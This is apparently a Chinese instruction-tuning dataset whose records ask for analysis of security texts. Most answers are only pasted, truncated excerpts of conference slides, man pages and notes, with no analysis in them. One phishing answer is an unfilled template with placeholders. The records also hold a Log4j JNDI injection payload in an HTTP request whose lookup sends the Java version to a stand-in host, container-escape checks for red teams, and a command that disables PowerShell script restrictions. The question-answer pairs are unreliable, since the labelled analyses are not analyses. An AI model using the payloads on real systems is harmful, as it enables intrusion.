{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThinking Outside of the Console (Box) Squidly1 gameconsolez@gmail.com / haksys.schleppingsquid.net DefCon 15 / August 04, 2007 SaveDarfur.org HAXO(RED) See G. Mark FMI see him @ Hacker Jeopardy Crisis ongoing. Read up & help Squidly1 Squidly1 Computer Network Defense Team Lead (US Navy) Former Red Team Lead Independent security researcher GSEC Software engineering student Wireless explorer Heavy gamer Fervent g33k Covert Testing Covert Testing Used by legitimate vulnerability assessment firms and Red Teams in order to better help companies and organizations learn how to protect themselves. The focus of these testing methods is to help said entity identify possible intrusions, faulty equipment / software, bad security practices, ineffective policies among other things. At the end of the assessment phase a report is presented to the entity in order to set into motion an informed plan for fixing the discovered deficiencies. Used by other companies and governments in order to serve their own gain. Corporate espionage anyone? Corporate Espionage Corporate Espionage The U.S. Department of Justice (DOJ) pulled the covers off a previously-sealed case of corporate espionage by a former DuPont scientist who stole $400-million in intellectual property from his employer. - SC Magazine (16 Feb 2007) $400 million corporate espionage incident at DuPont by Ericka Chickowski (SC Magazine): http://tinyurl.com/2tdny6 Stolen laptops fuel industrial espionage fears for UK software firm by John Leyden (The Register): http://tinyurl.com/3b4uh9 A UK-based hi-tech firm that's become the victim of \"industrial espionage\" is offering a reward for information leading to the arrest of those responsible for stealing its computer hardware. Thieves who stole a number of laptops from VBi Triscan Systems also lifted hard disks from the fuel management firm's servers... Executives at the ... firm fear the thefts were aimed at gathering trade secrets rather than just routine blogs. - The Reg", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTeaching Old Shellcode New Tricks DEF CON 25 @midnite_runr Whoami US Marine (out in 2001) Wrote BDF/BDFProxy Found OnionDuke Co-Authored Ebowla Work @ Okta Twitter: @midnite_runr Github: github.com/ secretsquirrel Why This Talk Its fun Its time to update publicly available Windows shellcode Outline History Further Development Mitigations and Bypasses Part I History Stephen Fewers Hash API SFHA or Hash API or MetaSploit Payload Hash Introduced: 8/2009 Uses a 4 byte hash to identify DLL!WinAPI in EAT JMPs to the WinAPI ; return to payload Some code borrowed from M.Millers 2003 Understanding Windows Shellcode paper http://blog.harmonysecurity.com/2009/08/calling-api-functions.html Typical SHFA Based Payload [SHFA][the actual payload logic] Typical SHFA Based Payload [SHFA][the actual payload logic] 1 Typical SHFA Based Payload [SHFA][the actual payload logic] 1 2 Typical SHFA Based Payload [SHFA][the actual payload logic] 1 2 3 Typical SHFA Based Payload [SHFA][the actual payload logic] [some winAPI] 1 2 3 Typical SHFA Based Payload [SHFA][the actual payload logic] [some winAPI] 1 2 3 4 Typical SHFA Based Payload [SHFA][the actual payload logic] [some winAPI] 1 2 3 4 5, Continue to 2 until done Defeating SFHA EMET Piotr Bania Phrack 63:15 // HAVOC - POC||GTFO 12:7 EMET Caller/EAF(+) EAF(+) Introduced: 2010/2014(+) Protect reading KERNEL32/NTDLL and KERNELBASE(+) Caller 2013 Block ret/jmp into a winAPI (Anti/rop) for critical functions EMET is EOL Supported through July 31, 2018 Still works** Re-introduced in Windows 10 RS3 ** Depends on threat model Tor Browser Exploit vs EMET Bypassing EMET EAF(+) 2010: Berend-Jan Wever (Skypher Blog) - ret-to-libc via ntdll 1/2012 Piotr Bania - Erase HW Breakpoints via NtContinue 9/2014 - Offensive Security - EAF+ bypass via EMET function reuse calling ZwSetContextThread directly http://web.archive.org/web/20101125174240/http://skypher.com/index.php/2010/11/17/bypassing-eaf/ http://piotrbania.com/all/ar", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.TH IMAPD 8 \"October 12, 1998\" .UC 5 .SH NAME IMAPd \\- Internet 邮件存取协议服务器 .SH 总览 .B /usr/etc/imapd .SH 描述 .I imapd 是个支持 .B IMAP4rev1 远程邮件存取协议(由RFC2060定义)的服务器 .I imapd 是由internet服务器(参见 .IR inetd (8) )来调用的 正常情况下监听对 .B IMAP 端口的连接请求该端口在 .I /etc/services 文件(参见 .IR services (5)). )中定义通常它是143 .PP .I imapd 也可以由很多基于Unix平台的客户端通过 .IR rsh (1C) 进行访问为此 .I imapd 程序必须具有一个到 .I /etc/rimapd 的链接因为这是系统认为该软件所在的地方 .SH \"又见\" rsh(1C) ipopd(8C) .SH \"[中文版维护人]\" .B meaculpa .SH \"[中文版最新更新]\" .B 2001/05/01 .SH 中国Linux论坛man手册页翻译计划: .B http://cmpp.linuxforum.net", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nIOActive, Inc. Copyright 2014. All Rights Reserved. Weird-Machine Motivated Practical Page Table Shellcode & Finding Out What's Running on Your System Shane Macaulay Director of Cloud Services IOActive, Inc. Copyright 2014. All Rights Reserved. Killing the Rootkit! And how to find everything running on your system!!! Rootkit/APT technique for hiding processes Unlink kernel structures DKOM New 64bit detection technique ! DC22 exclusive System/Platform independent technique Linux/BSD/Windows/ARM64/ADM64 Works by analyzing physical memory & properties of MMU Virtual Memory system IOActive, Inc. Copyright 2014. All Rights Reserved. The Long Road Barnaby Jack, forever in our hearts and minds. Its about the journey not the destination. IOActive, Inc. Copyright 2014. All Rights Reserved. 13 Years since ADMMutate (slide URL) http://1drv.ms/1rEBMJF ADMmutate (last DC talk was about polymorphic shellcode) The more things change The more they stay the same Thought about PT shellcode with ADMMutate Attack is [hard/stress/]fun!!&$&%*:P;p;P Defense is hard/stress IOActive, Inc. Copyright 2014. All Rights Reserved. Abusing x for fun & profit! Its usually the QB that gets the headlines, offensive bias in hacker scene! Defense is grinds it out for little glory. Lets energize the D here, have some fun!! A Defensive exploit Ultimately today were killing process hiding rootkits cross 64bit OS/Platforms TODAY! DKOM IS DEAD! Process hiding is DEAD! IOActive, Inc. Copyright 2014. All Rights Reserved. Also 13 Years ago What else was going on back then? x86 assembler in Bash cLIeNUX shasm is an assembler written in GNU Bash Version 2, which may work in other recent unix-style \"shell\" command interpreters. IOActive, Inc. Copyright 2014. All Rights Reserved. Ideals As best as possible, figure out all running code Code/hacks/weird machine's included/considered When have we done enough? We focus on establishing our understanding through real world targets: Hypervisor mo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# PowerShell 笔记 --- **什么是 PowerShell** Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能. Windows PowerShell 需要用于管理 .NET 对象的语言.该语言需要为使用 cmdlet 提供一致的环境.该语言需要支持复杂的任务,而不会使简单的任务变得更复杂. 该语言需要与在 .NET 编程中使用的高级语言(如C#)一致. --- **学习资源** - https://www.pstips.net/ - [specterops/at-ps](https://github.com/specterops/at-ps) --- **常见报错** - **无法加载文件 `******.ps1`,因为在此系统中禁止执行脚本.有关详细信息,请参阅 \"get-help about_signing\"** ```powershell set-ExecutionPolicy RemoteSigned ``` - **使用 powershell 运行脚本报错:进行数字签名.无法在当前系统上运行该脚本.有关运行脚本和设置执行策略的详细信息** ```powershell powershell \"Set-ExecutionPolicy -ExecutionPolicy Unrestricted -force |Out-null\" ``` --- ## 安装Powershell - https://docs.microsoft.com/zh-cn/powershell/scripting/install/installing-powershell-on-windows ### 支持的 Windows 版本 * 指示仍支持 OS 或 PowerShell 版本 * 指示不支持 OS 或 PowerShell 版本 * 指示该 OS 版本不再支持 PowerShell 版本 | Windows版本 | 7.0 (LTS) | 7.1最新版 | 7.2 (LTS-preview) | | - | - | - | - | | Windows Server 2016,2019,2022 | | | | | Windows Server 2012 R2 | | | | | Windows Server Core(2012 R2) | | | | | Windows Server Nano(1809) | | | | | Windows Server 2012 | | | | | Windows Server 2008 R2 | | | | | Windows 11 | | | | | Windows 10 1607 | | | | | Windows 8.1 | | | | 以下处理器体系结构在 Windows 上支持 PowerShell | Windows版本 | 7.0 (LTS) | 7.1最新版 | 7.2 (LTS-preview) | | - | - | - | - | | Nano Server 1803 | x64Arm32 | X64 | X64 | | Windows Server 2012 R2 | x64x86 | x64x86 | x64x86 | | Windows Server Core 2012 R2 | x64x86 | x64x86 | x64x86 | | Windows 10 or 11 | x64x86 | x64x86Arm64 | x64x86Arm64 | | Windows 8.1 | x64x86 | x64x86 | x64x86 | --- ## 使用 **PS1文件** 一个 PowerShell 脚本其实就是一个简单的文本文件 这个文件包含了一系列 PowerShell 命令每个命令显示为独立的一行对于被视为 PowerShell 脚本的文本文件它的文件名需要加上 .PS1 的扩展名 **PowerShell 的执行策略** 为防止恶意脚本的执行PowerShell 有一个执行策略默认情况下这个执行策略被设置为受限 我们可以使用: Get-ExecutionPolicy 命令查看 PowerShell 当前的执行策略它有多个策略 * AllSigned: 仅当脚本由受信任的发布者签名时才能运行. * Bypass: 没有任何内容被阻止也没有警告或提示. * Default: 设置默认执行策略 受限于 Windows 客户端或 RemoteSigned 受限于 Windows 服务器 * RemoteSig", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228) [中文版本(Chinese version)](README.zh-cn.md) Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback's architecture. On Dec 2021, a 0-day exploit in the Apache Log4j2 was discovered. Log4js JNDI support has not restricted what names could be resolved. Some protocols like `rmi:` and `ldap:` are unsafe or can allow remote code execution. References: - https://logging.apache.org/log4j/2.x/security.html - https://www.lunasec.io/docs/blog/log4j-zero-day/ - https://xz.aliyun.com/t/10649 ## Vulnerability Environment Apache Log4j2 is not a certain web service, it is just a third-party library, so we can use a application that depend on Log4j2 to demonstrate how to exploit this vulnerability. Execute following command to start a Apache Solr 8.11.0, which use Log4j 2.14.1: ``` docker compose up -d ``` After server start, browse `http://your-ip:8983` to see the admin portal of Apache Solr. ## Exploit Simply, put the payload `${jndi:dns://${sys:java.version}.example.com}` as the admin action that can trigger the JNDI query. ``` GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1 Host: your-ip:8983 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Connection: close ``` Query will be shown at the DNS log: ![](1.png) Exploit JNDI injection with [this tool](https://github.com/su18/JNDI) to execute arbitrary commands, `touch /tmp/success` is succesful executed: ![](2.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# FreeMarker **FreeMarker 模版语言说明** - 文本包括 HTML 标签与静态文本等静态内容该部分内容会原样输出 - 插值语法为 `${}` 这部分的输出会被模板引擎计算的值来替换 - 指令标签`<#>` 或者 `<@ >` 如果指令为系统内建指令如 assign 时用 `<# >` 如果指令为用户指令则用 `<@ >` 利用中最常见的指令标签为 `<#assign>` 该指令可创建变量 - 注释由 `<#--` 和 `-->` 表示注释部分的内容会 FreeMarker 忽略", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPost-quantum cryptography Daniel J. Bernstein & Tanja Lange University of Illinois at Chicago; Ruhr University Bochum & Technische Universiteit Eindhoven 12 September 2020 Cryptography Sender Alice Receiver Bob Tsai Ing-Wen picture credit: By 總統府, Attribution, Wikimedia. Donald Trump picture credit: By Shealah Craighead - White House, Public Domain, Wikimedia. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 2 Cryptography Sender Alice Untrustworthy network Eve Receiver Bob Motivation #1: Communication channels are spying on our data. Motivation #2: Communication channels are modifying our data. Tsai Ing-Wen picture credit: By 總統府, Attribution, Wikimedia. Donald Trump picture credit: By Shealah Craighead - White House, Public Domain, Wikimedia. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 2 Cryptography Sender Alice Untrustworthy network Eve Receiver Bob Motivation #1: Communication channels are spying on our data. Motivation #2: Communication channels are modifying our data. Literal meaning of cryptography: secret writing. Achieves various security goals by secretly transforming messages. Confidentiality: Eve cannot infer information about the content Integrity: Eve cannot modify the message without this being noticed Authenticity: Bob is convinced that the message originated from Alice Tsai Ing-Wen picture credit: By 總統府, Attribution, Wikimedia. Donald Trump picture credit: By Shealah Craighead - White House, Public Domain, Wikimedia. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 2 Commonly used systems Sender Alice Untrustworthy network Eve Receiver Bob Cryptography with symmetric keys AES-128. AES-192. AES-256. AES-GCM. ChaCha20. HMAC-SHA-256. Poly1305. SHA-2. SHA-3. Salsa20. Cryptography with public keys BN-254. Curve25519. DH. DSA. ECDH. ECDSA. EdDSA. NIST P-256. NIST P-384. NIST P-521. RSA encrypt. RSA sign. secp256k1. Tsai Ing-Wen picture credit: By 總統府, Attribution, Wikimedia. Donald Trump picture credit: By S", "category": "text_analysis", "source": "security_papers"} {"instruction": "请解释钓鱼攻击的原理和防护方法", "input": "", "output": "钓鱼攻击是一种常见的网络安全威胁。攻击原理：[具体原理说明]。防护措施：1. [防护方法1] 2. [防护方法2] 3. [防护方法3]", "category": "security_knowledge", "source": "manual"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: 容器逃逸方法检测指北 ---

容器逃逸方法检测指北

--- ## 0x00 前言 最近发现有关容器逃逸的文章大多覆盖的方法不全而且有些缺少相应的检测方法导致 RT 在拿到一个容器权限时比较难以判断这个容器存在哪些逃逸方法 本文尽可能覆盖全容器逃逸检测的方法并尽可能的给出在容器内部就能检测的方法这样 RT 在容器内运行一下命令根据返回的结果就能判断有没有这个漏洞了 针对这些检测方法我这边也写了相应的脚本方便在容器内部一键检测脚本放到文章底部了 对于一些无法直接在容器内部检测到的逃逸方法这里是不列举的如果读者知道其他逃逸漏洞的检测方法欢迎留言或者给脚本提 PR ### 判断是否为容器环境 首先对于 RT 而言需要先判断当前环境是不是容器环境可以直接使用下面的命令去判断 ```bash cat /proc/1/cgroup | grep -qi docker && echo \"Is Docker\" || echo \"Not Docker\" ``` 如果返回 Is Docker说明当前是 Docker 容器环境反之亦然 ### 容器逃逸介绍 在开始之前对于容器逃逸主要有以下三种方法 1. 不安全的配置 2. 相关程序漏洞 3. 内核漏洞 这里分别列举一下每种逃逸的检测方法这样在拿到一个容器权限的时候本文可以起到一个手册的作用 RT 可以通过本文中所提到的检测方法判断出当前容器可能存在哪种逃逸漏洞从而采取对应的逃逸方法 *注意* 1. *以下检测方法大多是基于笔者自己的经验可能会存在误检或者漏检的情况如果读者发现欢迎留言或者给脚本提 Issue* 2. *由于相关程序漏洞这种逃逸方法需要根据目标 Docker 的版本去判断这里暂时没想到从容器内部获取 Docker 版本的方法因此脚本暂时还不支持这块的检测* ## 0x01 不安全的配置 ### 1特权模式 执行以下命令如果返回 Is privileged mode 则说明当前是特权模式 ```bash cat /proc/self/status | grep -qi \"0000003fffffffff\" && echo \"Is privileged mode\" || echo \"Not privileged mode\" ``` 如果返回 Not privileged mode 则说明当前不是特权模式 ### 2挂载 Docker Socket 执行以下命令如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket ```bash ls /var/run/ | grep -qi docker.sock && echo \"Docker Socket is mounted.\" || echo \"Docker Socket is not mounted.\" ``` 如果返回 Docker Socket is not mounted. 则说明没有挂载 ### 3挂载 procfs 执行以下命令如果返回 Procfs is mounted. 说明当前挂载了 procfs ```bash find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo \"Procfs is mounted.\" || echo \"Procfs is not mounted.\" ``` 如果返回 Procfs is not mounted. 则说明没有挂载 ### 4挂载宿主机根目录 执行以下命令如果返回 Root directory is mounted. 则说明宿主机目录被挂载 ```bash find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo \"Root directory is mounted.\" || echo \"Root directory is not mounted.\" ``` 如果返回 Root directory is not mounted. 则说明没有挂载 ### 5Docker remote api 未授权访问 执行以下命令如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问 ```bash IP=`hostname -i | awk -F. '{print $1 \".\" $2 \".\" $3 \".1\"}' ` && timeout 3 bash -c \"echo >/dev/tcp/$IP/2375\" > /dev/null 2>", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPush The Stack Consulting http://pushthestack.com Security When Nanoseconds Count a whitepaper on the security issues and challenges with next generation finance and trading infrastructures Blackhat USA Briefings 2011 Abstract There's a brave new frontier for IT Security - a place where \"best practices\" do not contemplate the inclusion of a firewall in the network. This frontier is found in the most unlikely of places, where it is presumed that IT Security is a mature practice. Banks, Financial Institutions and Insurance Companies. High Speed Trading, High Frequency Trading, Low Latency Trading, Algorithmic Trading -- all words for electronic trades committed in microseconds without the intervention of humans. There are no firewalls, everything is custom and none of it is secure. It's SkyNet for Money and it's happening now. Introduction Throughout the course of modern financial times, technology has influenced the development and maturity of all markets, from the chalk boards and runners of the late 1700s to the current trend towards incredibly quick trades performed entirely within electronic systems without any human intervention. The communications revolution of the 1800s brought about swift changes from the carrier pigeons used by Reuters in the early part of the century to the first telegraph based ticker systems of the 1860s. Advances through the early and mid 20th century lead to the introduction of computers as the trusted stores of data on trade pricing, volumes, opening and closing prices and more. The electronic nature of stock markets became part of most peoples general awareness with the opening of the NASDAQ exchange in the early 1970s and the move to the electronic small order execution system in the late 1980s. Security When Nanoseconds Count - Blackhat USA Briefings 2011 2011-07-13 Page 2 Arlen-SecurityWhenNanosecondsCount-Whitepaper-v1.docx High frequency trading likely started in concert with changes initiated by the US Securities and Exchange Co", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Google CTF 2018 Quals Team: c7f.m0d3, akrasuski1, chivay, rodbert, eternal, sasza, nazywam, monk, shalom ### Table of contents * [Perfect secrecy (crypto)](crypto_secrecy) * [MITM (crypto)](crypto_mitm) * [Dogestore (crypto)](crypto_dogestore) * [Translate (web)](web_translate) * [Cat chat (web)](web_catchat) * [Shall we play a game (re)](re_shallweplay) * [APT42 - Part 1 (re)](apt42-part1) * [Sandbox Compat (pwn)](sandbox_compat) * [Back to the basics (re)](back_to_the_basics) * [Better ZIP (crypto)](better_zip) * [Proprietary format (re)](proprietary_format) * [Tape (misc)](tape) * [Wired csv (misc)](wired_csv)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.TH DEALLOCVT 1 \"1997年10月6日\" \"控制台工具\" \"Linux用户手册\" .SH NAME(名称) deallocvt \\- 释放未使用的虚拟终端 .SH SYNOPSIS(总览) .BI \"deallocvt [ \" \"N1 N2\" \" ... ]\" .SH DESCRIPTION(描述) 如果不指定参数, .B deallocvt 程序会释放所有未使用的虚拟终端的核心内存和数据结构. 如果给定了参数 .I Ni 那么就只释放TTY .RI /dev/tty Ni . 如果一个虚拟终端不是前台控制台,而且没有在上面打开进程 执行读或写操作,又没有在该屏幕上选择文本,那么认为该 终端是未使用的. .SH \"SEE ALSO\"(另见) .BR chvt (1), .BR openvt (1).", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nGetting F***** on the River Gus Fritschie and Steve Witmer with help from Mike Wright, and JD Durick August 6, 2011 Presentation Overview Preflop Who We Are What is Online Poker Online Poker History Current Events Flop Past Vulnerabilities RNG SuperUser SSL Account Compromise Poker Bots Turn Online Poker Architecture Poker Client=Rootkit Web Application Vulnerabilities Authentication Vulnerabilities Attacking Supporting Infrastructure River Defenses Application Defenses User Next Steps in Research Conclusion Questions SeNet International Corp. 2011 3 August 2011 SeNet Preflop SeNet International Corp. 2011 4 August 2011 SeNet Who We Are SeNet International SeNet International is a Small Business Founded in 1998 to Deliver Network and Information Security Consulting Services to Government and Commercial Clients High-End Consulting Services Focus: Government Certification and Accreditation Support Network Integration Security Compliance Verification and Validation Security Program Development with Business Case Justifications Complex Security Designs and Optimized Deployments Proven Solution Delivery Methodology: Contract Execution Framework for Consistency and Quality Technical, Management, and Quality Assurance Components Exceptional Qualifications: Executive TeamSecurity Industry Reputation and Active Project Leadership Expertise with Leading Security Product Vendors, Technologies, and Best Practices Advanced Degrees, Proper Clearances, Standards Organization Memberships, and IT Certifications Corporate Resources: Located in Fairfax, Virginia Fully Equipped Security Lab Over 40 full time security professionals SeNet International Corp. 2011 5 August 2011 SeNet Who We Are Gus Fritschie CTO of a security consulting firm based in the DC metro area. Enjoys penetrating government networks (with their permission), playing golf (business development) and teaching my daughter to gamble. SeNet International Corp. 2011 6 August 2011 SeNet Who We Are ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBLIND XSS @adam_baldwin HI, IM ADAM BALDWIN NOT THAT ADAM BALDWIN THIS ADAM BALDWIN Chief Security Officer at &yet Security Lead for Lift Security @adam_baldwin + @liftsecurity What is it? Using it in penetration tests Challenges xss.io LETS TALK BLIND XSS BLIND XSS WTF IS BLIND XSS WTF IS Reflected Persistent (stored) DOM XSS IS: Reflected Persistent (stored) DOM BLIND XSS IS: ITS A DIFFERENT CHALLENGE. ITS NOT LIKE BLIND SQLI WHERE YOU GET IMMEDIATE FEEDBACK. YOU HAVE NO IDEA WHERE YOUR PAYLOADS GOING TO END UP. YOU DONT EVEN KNOW WHETHER YOUR PAYLOAD WILL EXECUTE (OR WHEN!) YOU MUST THINK AHEAD ABOUT WHAT YOU WANT TO ACCOMPLISH. ... AND YOU HAVE TO BE LISTENING. BLIND XSS IS BLIND XSS IS CALL ME MAYBE? FOR EXAMPLE... From a recent penetration test 1.Carefully choose the right payload for the right situation. STEPS TO A SUCCESSFUL BLIND XSS EXPLOIT: 1.Carefully choose the right payload for the right situation. 2.Get lucky! STEPS TO A SUCCESSFUL BLIND XSS EXPLOIT: Lots of payloads for various situations. ...but doing everything would be overkill. HTML5SEC.ORG PLAN YOUR PAYLOAD. HOW WILL THE APP USE YOUR DATA? log viewers exception handlers customer service apps (chats, tickets, forums, etc) anything moderated NICE TARGETS: BLIND XSS MANAGEMENT XSS.IO CAN HELP! SIZE MATTERS... RIGHT? Sometimes you need all the character space you can get. No short-url GUID xss.io uses custom referrer- based redirects instead EXPLOIT CREATOR Snippets for common tasks Quickly create and reference dynamic payloads DEAD DROP BLIND XSS API AND MANAGER (XSS.IO DEMO) BUT WAIT, THERES MORE Unrelated but equally awesome CSRF.IO @adam_baldwin | @LiftSecurity", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nUntrustworthy Hardware And How to Fix It Seeking Hardware Transparency PRESENT DAY. PRESENT TIME - ##FPGA, ##crypto and #openRISC on Freenode - Shorne and Olofk from #openRISC (hardware and cross-compilation help) - PropellerGuy (Parallax Propeller open-source IO interface) - Maitimo, International Finance, DC408 Greetz: Thanks to Contributors: - core modern open source algorithms for strong cryptography have been heavy scrutinized, tested and are readily available - weak (DES, WEP, etc) and black box privacy tools are becoming a thing of the past - free and open source software has made it easier to trust the privacy of computer systems Layer:01 Software Lets assume the software (hypothetically) is 100% secure Where do we go from here? - firmware is almost exclusively closed source and controls almost all hardware devices and functions - due to their low-level nature, malicious firmware persists across OS reinstallations - \"SPI flash is a really nice place if you can get there\" (DEF CON 22: Summary of Attacks Against BIOS and Secure Boot) Layer:02 Firmware - hardware is almost always absolutely trusted by the rest of the system, as it is not widely considered an attack surface (especially in the consumer space) Layer:03 Hardware - hardware is almost always absolutely trusted by the rest of the system, as it is not widely considered an attack surface (especially in the consumer space) - NSA has been caught hardware backdooring Cisco systems (Glenn Greenwald, No Place to Hide), and DoD, Apple suspect adversarial nation states may be doing this as well Layer:03 Hardware - hardware is almost always absolutely trusted by the rest of the system, as it is not widely considered an attack surface (especially in the consumer space) - NSA has been caught hardware backdooring Cisco systems (Glenn Greenwald, No Place to Hide), and DoD, Apple suspect adversarial nation states may be doing this as well - if the hardware is compromised, then the whole machine is compromised Layer", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nABUSING CERTIFICATE TRANSPARENCY OR HOW TO HACK WEB APPLICATIONS BEFORE INSTALLATION. Hanno Böck https://hboeck.de/ 1 HTTPS 2 CERTIFICATE AUTHORITIES (CAS) 3 CAN WE TRUST CERTIFICATE AUTHORITIES? 4 NO Many cases of illegitimate certificates in the past. 5 IMPROVE OR REPLACE? Popular Infosec opinion: CAs are bad, we need to get rid of them. 6 HOW? Reality: Nobody has a feasible plan how to replace CAs. 7 IMPROVING THE CA ECOSYSTEM 8 BASELINE REQUIREMENTS 9 HTTP PUBLIC KEY PINNING (HPKP) 10 CERTIFICATE AUTHORITY AUTHORIZATION (CAA) 11 CERTIFICATE TRANSPARENCY (CT) 12 PUBLIC LOGS Let's put all certificates into public logs that everyone can read. 13 CT DETAILS Merkle Hash Trees, Signed Certificate Timestamps (SCT), Signed Tree Head (STH), Precertificates, Monitors, Gossip, ... It's complicated, but not relevant for this talk. 14 CERTIFICATE LOGGING In the future logging will be required (April 2018). 15 CT TODAY Most certificates already get logged. 16 WATCHING THE CAS Certificate Transparency means everyone can check logs for suspicious activity. 17 https://crt.sh 18 19 CERTIFICATE TRANSPARENCY IS A DATA SOURCE For researchers. For search engines. For attackers? 20 FEED OF NEW HOST NAMES Certificates contain hostnames. In other words: Certificate Transparency provides a feed of newly created HTTPS host names. 21 SELF-HOSTED WEB APPLICATIONS Wordpress, Joomla, Drupal etc. 22 WEB APPLICATION INSTALLERS 23 INSTALLERS Upload files to hoster, open in browser. Installer asks for some settings (initial user account, database credentials, ...). 24 INSTALLER (IN)SECURITY Usually installing needs no authentication! 25 GOOGLE DORKING WEB INSTALLERS Old idea: Use Google to find unprotected installers. 26 ATTACK IDEA During installation there is a time window between uploading files and completing the installer without any protection. 27 Remember: We have a stream of newly created host names. 28 HTTPS AND CERTIFICATES HTTPS is becoming more popular and many hosters automatically i", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ntempfile === shell中给临时文件命名 ## 补充说明 有时候在写Shell脚本的时候需要一些临时存储数据的才做最适合存储临时文件数据的位置就是`/tmp`因为该目录中所有的内容在系统重启后就会被清空下面是两种方法为临时数据生成标准的文件名 ### tempfile命令 `tempfile命令`只有在基于Debian的发行版中才默认自带比如Ubuntu其他发行版没有这个命令 用tempfile命令为一个临时文件命名 ```shell temp_file_name=$(tempfile) ``` 用一个加带了随机数的文件名作为临时文件命名 ```shell temp_file_name=\"/tmp/file_$RANDOM\" ``` $RANDOM是一个返回随机数的环境变量 ### $$变量 如果没有tempfile命令的Linux发行版也可以使用自己的临时文件名 ```shell temp_file_name=\"/tmp/file.$\" ``` `$$`是系统预定义变量显示当前所在进程的进程号用`.$$`作为添加的后缀会被扩展成当前运行脚本的进程id", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDon't Ruck Us Again The Exploit Returns echo $USER Gal Zror - @waveburst Security research leader at Aleph Research by HCL AppScan 10+ RE, 0days, Exploits, embedded Linux devices Recap Credential leakages + SSH jailbreak Unauth stack buffer overflow Command injection + Auth bypass R510 Unleashed AP: C110, E510, H320, H510, M510, R310, R500, R510 R600, R610, R710, R720, T300, T301n, T310d, T610, T710 ZoneDirector line Unleashed Firmware <= (200.7.10.102.92) Whats New? Patch did not fix all vulnerabilities Now I own a device New Ghidra script Previous script New script Script output Example Embedthis code Ruckus code Unknown code Ghidra script - ReplaceFuncNameFromSource github.com/alephsecurity/general-research-tools First Attack Scenario Demo Time! IN CASE DEMO GODS ARE WRATHFUL CLICK LINK Web interface /bin/webs /bin/emfd /usr/lib/libemf.so Web interface Mark ruckus functions Web interface - /bin/webs Unsafe string copy Grep it wlanSysConfirm.jsp Smashing Exploitation Gadget 1 - sub sp, fp, #0x14 ; pop {r4, r5, r6, r7, fp, pc} Gadget 2 - mov r0, r4 ; pop {r4, pc} Call System() Other Attacks Other vulnerabilities found XSS DOS Info leak -> jailbreak Cross-Site Scripting Denial of Service Information Leakage Second Attack Scenario Command injection Command injection Patched command injection is_validate_input_string() Spot the Characters Shebang Previous Command Injection New Command Injection system.xml Credentials overwrite CheckResetCredentialConfPara Ajax Request AjaxConf adapter_setConf repoGetCurChild Slash!!! Overwrite Chaining + Footprinting Demo Time #2 IN CASE DEMO GODS ARE WRATHFUL CLICK LINK Current research: 2 different RCEs: #1 - pre-auth stack overflow #2 - command injection + cred overwrite New Ghidra script Previous research: 3 different RCEs Tools - QEMU dockers and Ghidra script Conclusions Final thoughts Research = Fun Follow-up research = More Fun Blog post at alephsecurity.com Thanks alephsecurity.com @alephsecurity", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n**注**请多喝点热水或者凉白开可预防**肾结石通风**等如有肾囊肿请定期检查肾囊肿的大小变化 **攻击机** 192.168.1.102 Debian **靶机** 192.168.1.2 Windows 7 192.168.1.115 Windows 2003 192.168.1.119 Windows 2003 **第一季主要介绍scanner下的五个模块辅助发现内网存活主机分别为** * auxiliary/scanner/discovery/arp_sweep * auxiliary/scanner/discovery/udp_sweep * auxiliary/scanner/ftp/ftp_version * auxiliary/scanner/http/http_version * auxiliary/scanner/smb/smb_version **第二季主要介绍scanner下的五个模块辅助发现内网存活主机分别为** * 